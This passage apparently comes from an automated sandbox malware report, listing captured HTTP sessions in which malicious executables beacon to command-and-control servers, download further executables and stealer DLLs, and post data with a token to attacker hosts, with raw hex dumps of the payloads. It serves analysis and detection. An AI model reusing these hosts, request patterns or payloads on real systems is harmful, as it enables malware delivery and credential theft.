                                                                                                                                                                                                                                                            Data Ascii: CdI^9NXVNTu(8ejrwxi8$r17_OJ}bl+:CF?x%nSq&9@I-UxAU7.S;UCuX9aeiR4fTFiD+L).IU6=&Wk=z=[ZA!g-q(/ON
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:28.010642052 CET1641OUTData Raw: f8 51 79 4b 41 df 6b cc e5 63 76 70 3f a2 df 5f 8f 42 ac 12 a3 f2 d9 f0 03 6e 4d 15 25 5d 85 46 3b 67 49 56 74 bf 8f 83 01 90 75 2d d0 f5 a5 9a d6 fb 41 e9 82 fb ed d8 36 36 e5 ad 3a e2 d7 b8 8f 74 90 08 16 fa 8d 80 2b c4 2e 46 51 fb 44 14 ab 14
                                                                                                                                                                                                                                                            Data Ascii: QyKAkcvp?_BnM%]F;gIVtu-A66:t+.FQDWOf.nEAju,X-N_ok(-1 uJU'g?%:Ci<S$1yQrze\)*?#&E&5}Cg^*/\au
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:29.441235065 CET255INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            server: nginx
                                                                                                                                                                                                                                                            date: Thu, 19 Dec 2024 00:10:29 GMT
                                                                                                                                                                                                                                                            content-type: text/plain; charset=utf-8
                                                                                                                                                                                                                                                            content-length: 2
                                                                                                                                                                                                                                                            x-ratelimit-limit: 30
                                                                                                                                                                                                                                                            x-ratelimit-remaining: 27
                                                                                                                                                                                                                                                            x-ratelimit-reset: 1734568816
                                                                                                                                                                                                                                                            etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc"
                                                                                                                                                                                                                                                            Data Raw: 4f 4b
                                                                                                                                                                                                                                                            Data Ascii: OK


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            27192.168.2.550086185.185.71.170803872C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:30.732237101 CET199OUTPOST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1
                                                                                                                                                                                                                                                            Host: home.twentytk20pn.top
                                                                                                                                                                                                                                                            Accept: */*
                                                                                                                                                                                                                                                            Content-Type: application/json
                                                                                                                                                                                                                                                            Content-Length: 56
                                                                                                                                                                                                                                                            Data Raw: 7b 20 22 69 64 31 22 3a 20 22 75 77 32 37 56 68 71 6d 72 6b 5a 47 31 32 33 68 31 37 33 34 35 36 36 39 38 39 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d
                                                                                                                                                                                                                                                            Data Ascii: { "id1": "uw27VhqmrkZG123h1734566989", "data": "Done2" }
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:32.210059881 CET141INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            server: nginx/1.22.1
                                                                                                                                                                                                                                                            date: Thu, 19 Dec 2024 00:10:31 GMT
                                                                                                                                                                                                                                                            content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                                            content-length: 4
                                                                                                                                                                                                                                                            Data Raw: 6f 6b 61 79
                                                                                                                                                                                                                                                            Data Ascii: okay


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            28192.168.2.550090185.215.113.43806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:31.645566940 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            Host: 185.215.113.43
                                                                                                                                                                                                                                                            Content-Length: 31
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 64 31 3d 31 30 31 37 31 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                            Data Ascii: d1=1017199001&unit=246122658369
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:32.972970963 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:32 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            29192.168.2.55009431.41.244.11806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:33.098606110 CET63OUTGET /files/geopoxid/random.exe HTTP/1.1
                                                                                                                                                                                                                                                            Host: 31.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:34.422559023 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:34 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 1880576
                                                                                                                                                                                                                                                            Last-Modified: Wed, 18 Dec 2024 18:02:50 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "67630e4a-1cb200"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_g0J@`Ji@T0h 1 H@.rsrc X@.idata 0Z@ *@\@xnuzvlhe0/.^@tzuttanx J@.taggant00J"@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:34.422605038 CET224INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:34.422620058 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:34.422743082 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:34.422761917 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:34.423325062 CET672INData Raw: bb b0 e8 25 48 d8 e8 54 62 24 db 18 18 8f 0a ea 11 a8 c4 3a a5 18 d2 54 13 51 6f f9 c6 0e 61 47 fe c3 52 f2 60 cb 07 c0 dd cf 89 a0 a5 34 fc f6 a5 6a 7e 10 f9 e6 c2 d0 25 5e 06 0d 64 47 a1 1c 82 52 9c 42 fd 96 87 7d 7d 1d f0 dc bb 90 07 ec 9c be
                                                                                                                                                                                                                                                            Data Ascii: %HTb$:TQoaGR`4j~%^dGRB}}<J'4^RBLVI.@wxcO?@vFW]8m\;|$6=SIQGp<#4aOp?Gz6&]+-On'fU
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:34.423365116 CET1236INData Raw: 8c 15 68 d8 93 b4 35 a8 16 58 d6 23 5c fe 2f 10 20 50 20 3d fa c9 e1 58 f4 4c 5e 81 e7 32 1b 04 25 90 80 ef d9 28 2b fe 62 35 63 c8 e5 20 d4 dc 0f b4 c5 68 a4 54 2a fc 79 9c 4e 05 74 34 5a 3b 91 21 cb 70 75 18 5e f9 95 2f 01 cc a0 3c b6 0a 38 48
                                                                                                                                                                                                                                                            Data Ascii: h5X#\/ P =XL^2%(+b5c hT*yNt4Z;!pu^/<8HjQ!}XmjQgSMf_{-i}/{">l`Rd!.#Y3.,~m$Q'G<mV POlQ6xsp0R1: <7Q
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:34.423382998 CET1236INData Raw: eb 08 de 74 37 5f 96 d0 ec c0 82 57 da 1c 4b 71 c1 9f 17 e3 28 1f 22 82 b6 99 4c 20 be 2d ae 3c 32 38 3b ba ef c5 35 24 76 69 ab 77 ec 85 2f 73 7f 33 0a bb 50 b0 5d d1 9b b5 23 dc d4 22 57 2b 60 74 4e 31 b4 9a fc 4d e0 51 77 c0 93 7f 5a 09 e5 35
                                                                                                                                                                                                                                                            Data Ascii: t7_WKq("L -<28;5$viw/s3P]#"W+`tN1MQwZ56x.kde!%pYTgb&])xrtHf9m}u-^U.tvW'CU\w@Xd=a@mY%9xd,I,eN8P{=
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:34.423398972 CET448INData Raw: 22 4e a1 98 b5 79 e8 8a 16 0c 5c f4 51 cb 2e f3 25 34 b7 1a b1 65 68 8b a3 dc a3 d3 56 75 58 f5 7e b6 01 ca b7 55 f4 5b 4b 0f 07 b2 33 2a e5 5e 81 93 04 bf 47 2a ee dd 5a ee b9 1b fd b5 51 d0 7a bd 29 06 ba 73 09 e8 d2 7a 7d 4e 28 60 ae 55 54 b0
                                                                                                                                                                                                                                                            Data Ascii: "Ny\Q.%4ehVuX~U[K3*^G*ZQz)sz}N(`UTZ6D8y+'H1Ov,bt/pL#, (p=]o,U`$<GT4sz8Xr4~2-hlT~OnjikWfR[|<Q'U#=6FBZ*(HO
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:34.424060106 CET1236INData Raw: 64 d2 a2 d5 c2 92 2b bb fd 27 b3 ec fd 7c 3e 1f 68 04 07 bc 6a cc e9 40 d4 9c 50 1c 5b d9 4c ec 49 56 05 11 60 d4 30 e8 7d 0c 2a 75 80 ec 82 cd 34 74 80 ad e3 9c 3d 52 81 5d a2 da c9 37 30 7b b4 2c 39 43 1d 29 96 e7 8f 58 93 d0 4d 55 ba 96 aa e4
                                                                                                                                                                                                                                                            Data Ascii: d+'|>hj@P[LIV`0}*u4t=R]70{,9C)XMUn]c3.b<5k$\7m*a(|_F/eE)/^M^QLn5I'?"{rkzZ+;2_s`^WCNyRR#[\L u-#zpaqT'#16
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:34.542576075 CET1236INData Raw: 63 da 4e 31 e8 d8 97 1d fb 4e 22 3d e1 53 6c a4 d6 df 48 bf 1a 80 20 a5 78 dc 48 f1 31 3a 12 84 41 76 a4 03 30 f0 6a b1 bc 6c b5 04 69 66 c2 55 dc 68 b0 0e 62 bf 91 30 01 fc c7 d8 9c 37 71 f1 3f 0c d5 4a 0b 68 d8 d2 2b 72 ef 6f 29 19 63 82 8f 16
                                                                                                                                                                                                                                                            Data Ascii: cN1N"=SlH xH1:Av0jlifUhb07q?Jh+ro)c2dSqhVY1YU.d/]ki5oVT``J-[F;lsNM[Hqo\U:Ui|l'$y%2SO[?wcI59:QlJO9%5q;^


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            30192.168.2.550095185.215.113.206805832C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:33.632844925 CET565OUTPOST /c4becf79229cb002.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=----EGDGDHJJDGHCAAAKEHIJ
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Content-Length: 363
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34 65 39 31 30 61 37 33 35 64 65 30 37 30 37 33 32 35 64 37 64 38 38 37 37 39 38 30 37 65 39 61 38 38 37 38 63 66 35 30 37 38 61 33 32 38 34 33 33 36 31 65 65 62 33 33 63 36 34 36 64 39 33 34 61 63 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: ------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="file"------EGDGDHJJDGHCAAAKEHIJ--
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:35.455043077 CET203INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:34 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Content-Length: 0
                                                                                                                                                                                                                                                            Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:36.023416042 CET94OUTGET /68b591d6548ec281/freebl3.dll HTTP/1.1
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:36.456065893 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:36 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
                                                                                                                                                                                                                                                            ETag: "a7550-5e7e950876500"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Content-Length: 685392
                                                                                                                                                                                                                                                            Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:36.456213951 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b
                                                                                                                                                                                                                                                            Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:36.456232071 CET1236INData Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff
                                                                                                                                                                                                                                                            Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh|$,}uT$4D$0P|OL$8PVS'D$@?@L$L$D$D$D$$
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:36.456712008 CET1236INData Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01
                                                                                                                                                                                                                                                            Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:36.456727982 CET496INData Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2
                                                                                                                                                                                                                                                            Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:36.456743002 CET1236INData Raw: 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff 75 14 e8 23 fc ff ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 eb 0a 8b 45 ec 8b 4d f0
                                                                                                                                                                                                                                                            Data Ascii: ^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vh
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:36.457503080 CET1236INData Raw: 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 88 14 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b
                                                                                                                                                                                                                                                            Data Ascii: >\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9Eshy
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:36.457520008 CET1236INData Raw: 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f ef db 66 0f eb f9 66 0f 72 f4 17 66 0f fe 25 e0 20 08 10 f3 0f 5b cc 66 0f 70 e5 f5 66 0f f4 e9 66 0f 70 f5 e8 66 0f 70 c9 f5 66 0f f4 cc 66 0f
                                                                                                                                                                                                                                                            Data Ascii: fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfp
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:36.457535028 CET1236INData Raw: d6 89 75 e0 8b 45 e8 8b 4d ec 01 c8 83 c0 01 0f b6 c0 8b 4d f0 0f b6 0c 01 00 cb 0f b6 f3 8b 55 f0 0f b6 14 32 8b 7d f0 88 14 07 8b 45 f0 88 0c 30 00 ca 0f b6 c2 8b 4d f0 0f b6 04 01 89 45 cc 8b 45 e8 8b 4d ec 8d 4c 01 02 0f b6 c9 8b 45 f0 0f b6
                                                                                                                                                                                                                                                            Data Ascii: uEMMU2}E0MEEMLEE0}M1MMEUU}47}4E0UMUU}47}4M1uU
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:36.464775085 CET1236INData Raw: ff 8b b5 74 ff ff ff 8b 46 30 89 85 30 ff ff ff 8b 8d dc fe ff ff 8b 51 18 89 95 b8 fe ff ff 01 c2 8b 76 34 89 b5 2c ff ff ff 8b 41 1c 89 85 bc fe ff ff 89 c7 11 f7 8b 41 38 89 85 d8 fe ff ff 01 c2 89 55 d0 8b 41 3c 11 c7 89 7d e4 89 c6 89 85 b4
                                                                                                                                                                                                                                                            Data Ascii: tF00Qv4,AA8UA<}5[dy!~6_U:O31\tS8ES<]\E]1d1dMM}1
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:36.464883089 CET1236INData Raw: d9 10 89 4d 9c 8b 5d e8 01 cb 89 5d e8 8b 7d c0 11 d7 89 7d c0 31 f8 31 de 89 c1 0f a4 f1 01 89 4d 88 0f a4 c6 01 89 b5 70 ff ff ff 8b 45 d4 03 85 4c ff ff ff 8b 4d cc 13 8d 1c ff ff ff 03 45 98 89 45 d4 8b 7d 8c 11 f9 89 4d cc 8b 55 84 31 ca 8b
                                                                                                                                                                                                                                                            Data Ascii: M]]}}11MpELMEE}MU1u1EE]]M11M]4M]11hUMMMM11UME8M]E|
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:38.322047949 CET94OUTGET /68b591d6548ec281/mozglue.dll HTTP/1.1
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:38.754688025 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:38 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
                                                                                                                                                                                                                                                            ETag: "94750-5e7e950876500"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Content-Length: 608080
                                                                                                                                                                                                                                                            Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:39.958775043 CET95OUTGET /68b591d6548ec281/msvcp140.dll HTTP/1.1
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:40.391450882 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:40 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
                                                                                                                                                                                                                                                            ETag: "6dde8-5e7e950876500"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Content-Length: 450024
                                                                                                                                                                                                                                                            Content-Type: application/x-msdos-program
